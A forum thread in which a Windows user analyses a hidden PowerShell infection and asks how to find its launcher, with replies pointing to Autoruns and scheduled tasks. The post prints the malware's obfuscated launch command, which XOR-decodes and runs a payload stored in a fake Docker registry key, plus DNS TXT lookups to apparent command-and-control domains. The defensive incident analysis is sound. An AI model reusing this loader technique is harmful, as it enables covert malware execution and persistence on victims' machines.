3

On my Windows 10 PC after about 30 minutes of being turned on I always get a powershell window that immediately hides and consumes a lot of RAM.

So I went to the powershell directory:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

And with the program What's locking this file? on powershell.exe I got the PID of the process and the command that has been executed:

powershell.exe
  Process ID: 2140
  Command Line: powershell.exe -winDOWSTYLE hIDdEn -COmMAND "ICM ([sCRIPtbLOCk]::cREatE([StRing]::JoIN('', ((get-itempROperTy -paTH 'hklM:\SoFTWare\DOCKEr InC.XzPOAG').'XzPOAGWm' | % { [char]($_ -bXOr 179) }))))"

Since I have the PID, with Autohokey I forced the window to show and I got the following:

Resolve-DnsName : wmail-endpoint.com : El nombre DNS no existe
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (wmail-endpoint.com:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : bideo-blog.com : Error de servidor DNS
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (bideo-blog.com:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : RCODE_SERVER_FAILURE,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : privatproxy-blog.com : Error de servidor DNS
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (privatproxy-blog.com:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : RCODE_SERVER_FAILURE,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : privatproxy-cdn.com : El nombre DNS no existe
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (privatproxy-cdn.com:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : ahoravideo-chat.com : El nombre DNS no existe
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (ahoravideo-chat.com:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : fairu-blog.xyz : El nombre DNS no existe
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (fairu-blog.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : fairu-chat.xyz : El nombre DNS no existe
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (fairu-chat.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : fairu-cdn.xyz : El nombre DNS no existe
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (fairu-cdn.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : bideo-blog.xyz : El nombre DNS no existe
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (bideo-blog.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : bideo-schnellvpn.xyz : El nombre DNS no existe
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (bideo-schnellvpn.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : privatproxy-endpoint.xyz : El nombre DNS no existe
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (privatproxy-endpoint.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : privatproxy-chat.xyz : El nombre DNS no existe
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (privatproxy-chat.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : ahoravideo-blog.xyz : El nombre DNS no existe
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (ahoravideo-blog.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : ahoravideo-chat.xyz : El nombre DNS no existe
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (ahoravideo-chat.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : ahoravideo-cdn.xyz : El nombre DNS no existe
En línea: 8 Carácter: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (ahoravideo-cdn.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

From what I understand it tries to connect to a server to send my screen (or worse it is a ransomware) but the URLs are no longer useful, I guess the law gave them down or something like that.

In the command it says Docker, however I do not use Docker, so for sure it is just a name to mislead, I already made sure to delete that registry key although I saved a copy, the content was a binary of 19Kb approximately.

After a while it runs these two commands:

powershell.exe
  Process ID: 3192
  Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile

powershell.exe
  Process ID: 6628
  Command Line: "powershell.exe"

And what intrigues me here is what is the intention of these last two commands? although the PID is available it was impossible for me to force the window to show.

Ok, up to here the debug, what I want to know is, based on this information how do I find the launcher? because even if I deleted the registry found in the first command, the launcher is still running.

3
  • Probably a scheduled task or a Run key. Use Autorun from Sysinternals to find out or just check the autorun locations of Windows. ProcessExplorer would also tell you the parent of the powershell process, giving you a hint about how it's launched. Commented Jan 3, 2023 at 20:59
  • I didn't know those tools, thanks to your comment I was able to find the origin of the launcher using the "Autorun from Sysinternals".
    – Willy
    Commented Jan 4, 2023 at 12:28
  • And keep the computer offline while you investigate. If the malware communicates with the mothership you computer may be toasted
    – ThoriumBR
    Commented Apr 17, 2023 at 22:14

1 Answer 1

0

Most likely its being started from the Windows scheduler where in created some scheduled tasks when it infected your computer.

1
  • Your answer could be improved with additional supporting information. Please edit to add further details, such as citations or documentation, so that others can confirm that your answer is correct. You can find more information on how to write good answers in the help center.
    – Community Bot
    Commented Mar 18, 2023 at 22:01

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .